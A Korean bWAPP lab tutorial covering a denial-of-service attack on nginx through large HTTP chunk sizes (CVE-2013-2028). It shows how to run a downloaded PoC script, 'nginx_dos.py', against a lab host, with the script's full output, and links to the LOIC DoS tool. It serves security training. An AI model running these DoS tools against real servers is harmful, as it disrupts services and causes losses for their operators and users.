웹 해킹 bWAPP - 67. A5 - Security Misconfiguration - Denial-of-Service (Large Chunk Size)

웹 해킹 bWAPP - 67. A5 - Security Misconfiguration - Denial-of-Service (Large Chunk Size)

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다. 

 

 

1. Security Misconfiguration

 

 - OWASP Top10 A5 - 잘못된 보안 구성
 - 서버/시스템/DB/네트워크 장비/웹 설정 요류로 인하여 발생하는 취약점이다.
 - Ex) 디렉토리 리스팅, 에러페이지, 웹페이지 주석, 웹서버 기본 설정, Adobe Flash 취약점, DoS/DDos 공격,

         특정 서비스에 대한 Reverse_TCP 공격, 로컬 권한 취약점, 백업/임시/robots 파일

 

2. Dos/DDos 공격

 

 - 대량 패켓들을 전송하여 시스템/서버/네트워크 리소스를 고갈시켜 부하 발생, 요청 방해 및 연결 거부를 발생하는 공격이다.

 - 단, 정보 유출에 대한 취약점은 없지만, 서비스가 마비되기 때문에 사용자 및 기업 입장에서 시간/비용 손실을 발생시킨다.

 - DDos는 악성 코드에 감염된 시스템(좀비 PC)들을 이용하여 DoS 공격을 실시하는 방법이다.

 - Ex) 최근 국내 Dos/DDos 공격 사례 : 디시인사이드

 - 기사 : https://www.dailysecu.com/?mod=news&act=articleView&idxno=44010

           http://news.mtn.co.kr/newscenter/news_viewer.mtn?gidx=2019011117453837457

 

 

 

3. HTTP Chunked

 

 - 메세지 바디의 크기를 가변적으로 정할 수 있는 기능으로 동영상/스트리밍 서비스에서 주로 사용한다.

 - 참고 사이트 : https://www.codeproject.com/Articles/648526/All-about-http-chunked-responses

 

 

 

4. Security Misconfiguration - Denial-of-Service (Large Chunk Size)

 

 - 이 시나리오는 HTTP Chunked 크기를 가변적으로 조정하여 공격하는 내용이다.

 - CVE-2013-2028 취약점 : https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-2028

 

 

 

 

Ex1) Denial-of-Service (Large Chunk Size) 이해

 

 

보안 레벨 선택 및 시나리오 선택

 

 

 

'Dos attack script' 클릭

 

 

 

'파일 저장' 선택 -> '확인' 버튼 클릭

 

 

 

 

root@kali:~# cd Downloads/
root@kali:~/Downloads# ls
nginx_dos.py

 

 

 

 

bee@bee-box:~$ gnome-system-monitor &

 

 

bWAPP에서 시스템 모니터링 도구 실행 실시

 

 

 

Dos 공격 실시

root@kali:~/Downloads# python nginx_dos.py =================================================================== nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028) [http://www.mertsarica.com] =================================================================== Usage: python nginx_dos.py [target ip:port] Example: python nginx_dos.py 127.0.0.1:8080   root@kali:~/Downloads#     root@kali:~/Downloads# python nginx_dos.py 192.168.20.205:8080   =================================================================== nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028) [http://www.mertsarica.com] =================================================================== [*] Knock knock, is anybody there ? (0/66) [*] Knock knock, is anybody there ? (1/66) [*] Knock knock, is anybody there ? (2/66) [*] Knock knock, is anybody there ? (3/66) [*] Knock knock, is anybody there ? (4/66) [*] Knock knock, is anybody there ? (5/66) [*] Knock knock, is anybody there ? (6/66) [*] Knock knock, is anybody there ? (7/66) [*] Knock knock, is anybody there ? (8/66) [*] Knock knock, is anybody there ? (9/66) [*] Knock knock, is anybody there ? (10/66) [*] Knock knock, is anybody there ? (11/66) [*] Knock knock, is anybody there ? (12/66) [*] Knock knock, is anybody there ? (13/66) [*] Knock knock, is anybody there ? (14/66) [*] Knock knock, is anybody there ? (15/66) [*] Knock knock, is anybody there ? (16/66) [*] Knock knock, is anybody there ? (17/66) [*] Knock knock, is anybody there ? (18/66) [*] Knock knock, is anybody there ? (19/66) [*] Knock knock, is anybody there ? (20/66) [*] Knock knock, is anybody there ? (21/66) [*] Knock knock, is anybody there ? (22/66) [*] Knock knock, is anybody there ? (23/66) [*] Knock knock, is anybody there ? (24/66) [*] Knock knock, is anybody there ? (25/66) [*] Knock knock, is anybody there ? (26/66) [*] Knock knock, is anybody there ? (27/66) [*] Knock knock, is anybody there ? (28/66) [*] Knock knock, is anybody there ? (29/66) [*] Knock knock, is anybody there ? (30/66) [*] Knock knock, is anybody there ? (31/66) [*] Knock knock, is anybody there ? (32/66) [*] Knock knock, is anybody there ? (33/66) [*] Knock knock, is anybody there ? (34/66) [*] Knock knock, is anybody there ? (35/66) [*] Knock knock, is anybody there ? (36/66) [*] Knock knock, is anybody there ? (37/66) [*] Knock knock, is anybody there ? (38/66) [*] Knock knock, is anybody there ? (39/66) [*] Knock knock, is anybody there ? (40/66) [*] Knock knock, is anybody there ? (41/66) [*] Knock knock, is anybody there ? (42/66) [*] Knock knock, is anybody there ? (43/66) [*] Knock knock, is anybody there ? (44/66) [*] Knock knock, is anybody there ? (45/66) [*] Knock knock, is anybody there ? (46/66) [*] Knock knock, is anybody there ? (47/66) [*] Knock knock, is anybody there ? (48/66) [*] Knock knock, is anybody there ? (49/66) [*] Knock knock, is anybody there ? (50/66) [*] Knock knock, is anybody there ? (51/66) [*] Knock knock, is anybody there ? (52/66) [*] Knock knock, is anybody there ? (53/66) [*] Knock knock, is anybody there ? (54/66) [*] Knock knock, is anybody there ? (55/66) [*] Knock knock, is anybody there ? (56/66) [*] Knock knock, is anybody there ? (57/66) [*] Knock knock, is anybody there ? (58/66) [*] Knock knock, is anybody there ? (59/66) [*] Knock knock, is anybody there ? (60/66) [*] Knock knock, is anybody there ? (61/66) [*] Knock knock, is anybody there ? (62/66) [*] Knock knock, is anybody there ? (63/66) [*] Knock knock, is anybody there ? (64/66) [*] Knock knock, is anybody there ? (65/66) [*] Knock knock, is anybody there ? (66/66) [+] Done! root@kali:~/Downloads#

 

 

 

BWAPP 부하 발생 확인 -> 강제 재부팅 실시 or 5분 이상 대기

 

 

 

와이어샤크 캡처 내용

 

 

 

 

[참고] LOIC 툴

 

 - 윈도우에서 간단하게 DoS 공격을 테스트할 수 있는 툴

 - 다운로드 사이트 : https://sourceforge.net/projects/loic/

 

 

 

 

 

 

 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)

 

웹해킹 67. A5 - bWAPP Security Misconfiguration - Denial-of-Service (Large Chunk Size)   https://youtu.be/Ho_QWSMclV0